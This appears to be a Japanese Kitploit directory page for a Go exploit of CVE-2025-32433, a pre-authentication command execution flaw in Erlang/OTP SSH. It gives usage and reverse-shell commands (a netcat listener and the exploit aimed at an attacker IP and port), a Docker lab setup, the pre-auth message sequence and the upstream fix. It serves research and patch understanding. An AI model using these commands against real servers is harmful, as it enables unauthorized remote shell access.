Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-32433-Remote-Shell — CVE-2025-32433向けGoベースのエクスプロイト | Kitploit
ツール/GitHubGitHub/meloppeitreet/cve-2025-32433-remote-shell
ペイロード生成脆弱性分析エクスプロイトシェルコードペネトレーションテストリモートアクセスツール
GitHubmeloppeitreet/cve-2025-32433-remote-shell

CVE-2025-32433-Remote-Shell

CVE-2025-32433向けGoベースのエクスプロイト

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1年前未レビュー

CVE-2025-32433 リモートシェル

Goベースのエクスプロイトで、CVE-2025-32433を利用してリモートのbashシェルを取得します。

ProDefenseのCVE-2025-32433用PoCから導出されたエクスプロイトの理解に大きく影響を受けています。

エクスプロイトの実行

root@kitploit:~
make

クロスコンパイル用Makefileにより、exploit.exe はWindowsマシンでも利用可能です。

次に、エクスプロイトバイナリを次の2つの方法のいずれかで実行します。

コマンド

root@kitploit:~
./exploit <target-ip> <target-port> "<command>"

注:コマンドの出力は返されません。

リバースシェル

root@kitploit:~
nc -lnvp <attacker-port>
root@kitploit:~
./exploit <target-ip> <target-port> <attacker-ip> <attacker-port>

環境のセットアップ

ProDefense のDockerfileを使用すると、次の手順で環境をセットアップできます。

root@kitploit:~
docker build -t "cve-2025-32433:Dockerfile" .
root@kitploit:~
docker run -p 2222:2222 cve-2025-32433:Dockerfile

その後、エクスプロイトの実行セクションの説明に従ってエクスプロイトを実行できます。例:

root@kitploit:~
nc -lnvp 4444
root@kitploit:~
./exploit 127.0.0.1 2222 172.17.0.1 4444

172.17.0.1 はDockerホストのデフォルトIPアドレスです。

エクスプロイトの説明

TL;DR 「この問題は、SSHプロトコルのメッセージ処理における欠陥によって引き起こされ、攻撃者が認証前に接続プロトコルメッセージを送信できるようになります。」

一般的なSSH手順:

root@kitploit:~
SSH_MSG_KEXINIT

→ SSH_MSG_KEXDH_INIT / KEX_ECDH_INIT(鍵交換)
→ SSH_MSG_NEWKEYS
→ SSH_MSG_SERVICE_REQUEST ("ssh-userauth")
→ SSH_MSG_USERAUTH_REQUEST
→ SSH_MSG_USERAUTH_SUCCESS

→ SSH_MSG_CHANNEL_OPEN
→ SSH_MSG_CHANNEL_REQUEST

エクスプロイト手順:

  1. 被害者へのTCP接続
  2. SSHバナー交換
  3. SSH_MSG_KEXINIT
  4. SSH_MSG_CHANNEL_OPEN (事前認証)
  5. SSH_MSG_CHANNEL_REQUEST (事前認証) --> コマンドペイロードを含む

エクスプロイトでは、USERAUTH全体がスキップされることに注意してください。

メッセージの概要

SSHメッセージに関する関連RFC:

  • RFC 4253: セキュアシェル(SSH)トランスポート層プロトコル
  • RFC 4254: セキュアシェル(SSH)接続プロトコル

メッセージ番号

SSHトランスポート層プロトコルのメッセージ番号

SSH接続プロトコルのメッセージ番号

メッセージフォーマット

SSH_MSG_KEXINIT

SSH_MSG_KEXINIT

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_OPEN

SSH_MSG_CHANNEL_REQUEST

SSH_MSG_CHANNEL_REQUEST

その他の要件

文字列フォーマット(RFC 4251: セキュアシェル(SSH)プロトコルアーキテクチャより)

文字列

パディング

パディング

修正とエクスプロイトの理解

以下は、Erlang OTPライブラリのssh: early RCE fix コミットで導入された修正です。

handle_msg

この修正により、新しい handle_msg 句が導入され、その引数に従って以下をキャッチします。

  • Msg: 以前の句(#ssh_msg_disconnect{} など)でまだマッチしていないすべての受信SSHメッセージ用のキャッチオール変数
  • #ssh{authenticated = false}: 接続がまだ認証されていない場合にマッチするセッション状態

この句は、サーバーが #ssh_msg_userauth_success{} を受信したときにセッションに付与される authenticated = true のセッションはキャッチしません。

authenticated = true

これは、以下のいずれかの認証方法が成功した後に送信されます。

認証メソッドが #ssh_msg_userauth_success{} を送信

ツールをダウンロード